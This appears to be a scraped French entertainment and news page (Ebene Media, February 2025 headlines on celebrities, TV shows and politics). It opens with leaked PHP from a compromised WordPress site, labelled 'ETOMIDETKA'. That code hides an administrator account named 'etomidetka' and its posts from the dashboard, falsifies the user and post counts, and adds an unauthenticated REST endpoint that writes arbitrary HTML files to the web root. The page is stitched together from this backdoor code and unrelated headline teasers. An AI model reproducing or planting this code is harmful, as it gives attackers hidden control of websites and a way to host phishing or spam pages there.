//ETOMIDETKA add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); }
Le Premier ministre hongrois a réagi ce 13 février aux propos de Kaja Kallas, qui exige une participation de l’Europe et de Kiev...
ByEbene Mediafévrier 13, 2025Depuis sa participation à « L’amour est dans le pré », tout a changé pour Brice. En effet, l’agriculteur de la 19e saison de l’émission...
ByEbene Mediafévrier 13, 2025À la suite de sa conversation téléphonique avec son homologue russe, le président américain Donald Trump a annoncé que leur première rencontre aurait...
ByEbene Mediafévrier 13, 2025Depuis la naissance de son fils, Cyril Féraud a réaménagé son emploi du temps. Mais pas question de lâcher son rôle d’animateur !...
ByEbene Mediafévrier 13, 2025C’est devant les caméras de TF1, dans « Koh-Lanta », que Cassandre et Gustin ont noué les premiers liens. Puis, au fil du temps, les...
ByEbene Mediafévrier 13, 2025Selon un article du Wall Street Journal, se basant sur les renseignements américains, Israël envisagerait de cibler les sites nucléaires iraniens au cours...
ByEbene Mediafévrier 13, 2025Si Stéphanie de Monaco a longtemps vécu sous le feu des projecteurs, la princesse préférée des Monégasques a aujourd’hui adopté un quotidien tout...
ByEbene Mediafévrier 13, 2025L’armée israélienne a affirmé que l’Iran chercherait à faire passer des fonds au Hezbollah via l’aéroport de Beyrouth, visant à réarmer le mouvement...
ByEbene Mediafévrier 13, 2025Dans son nouvel ouvrage « Je mange bien, je vais bien » aux éditions Flammarion, Jimmy Mohamed révèle notamment le repas à éviter le midi....
ByEbene Mediafévrier 13, 2025Touché samedi dernier face à l'Ecosse, Romain Ntamack a été victime d'une rupture du ligament croisé du genou gauche, selon L'Equipe. L'ouvreur du...
ByEbene Mediaaoût 14, 2023Le jeudi 23 mars 2023, Véronique Jannot était l’invitée très spéciale de l’émission Jardins d’enfants sur France 2. Elle est venue présenter Rêve,...
ByEbene Mediamars 24, 2023Moussa Dembélé va bel et bien quitter l'OL cet été, à la fin de son contrat.
ByEbene Mediaavril 23, 2023Selon nos confrères d »Ici Bourgogne », Florent Pagny a fait une très belle acquisition immobilière. En effet, loin de la Patagonie, c’est dans un...
ByEbene Mediafévrier 13, 2025Nikolaos de Grèce a célébré ses noces vendredi 7 février 2025 l’église Saint-Nicolas-Ragavas d’Athènes. Son épouse, Chrysí Vardinogiannis s’est faite remarquer par sa...
ByEbene Mediafévrier 13, 2025Orelsan revient sur le devant de la scène avec le docu « F*ckin’Fred – Comme un léopard », ainsi que la très attendue saison 2...
ByEbene Mediafévrier 13, 2025Laury Thilleman est la nouvelle présentatrice de « Rendez-vous en terre inconnue ». Elle a en effet succédé à Raphaël de Casabianca. Et le premier...
ByEbene Mediafévrier 13, 2025Comment sortir de l’isolement les enfants en situation de handicap et leurs familles ? C’est la mission de l’association Le Village des enfants...
ByEbene Mediafévrier 12, 2025Alors que la diffusion de « Koh-Lanta, La Revanche des 4 Terres » approche, TF1 partage les premiers portraits des 24 aventuriers au casting. C’est...
ByEbene Mediafévrier 12, 2025Charlotte Cardin, qui est venue présenter ce mercredi soir dans « C à Vous » son nouvel album « 99 Nights Deluxe » et interpréter en live...
ByEbene Mediafévrier 12, 2025À l’occasion des Invictus Games 2025, qui se déroulent du 8 au 16 février, le prince Harry était présent à Vancouver (Canada) accompagné...
ByEbene Mediafévrier 12, 2025Bernard Campan, à retrouver ce mercredi soir dans son propre film « Presque », co-réalisé avec Alexandre Jollien, a consommé des substances illicites par le...
ByEbene Mediafévrier 12, 2025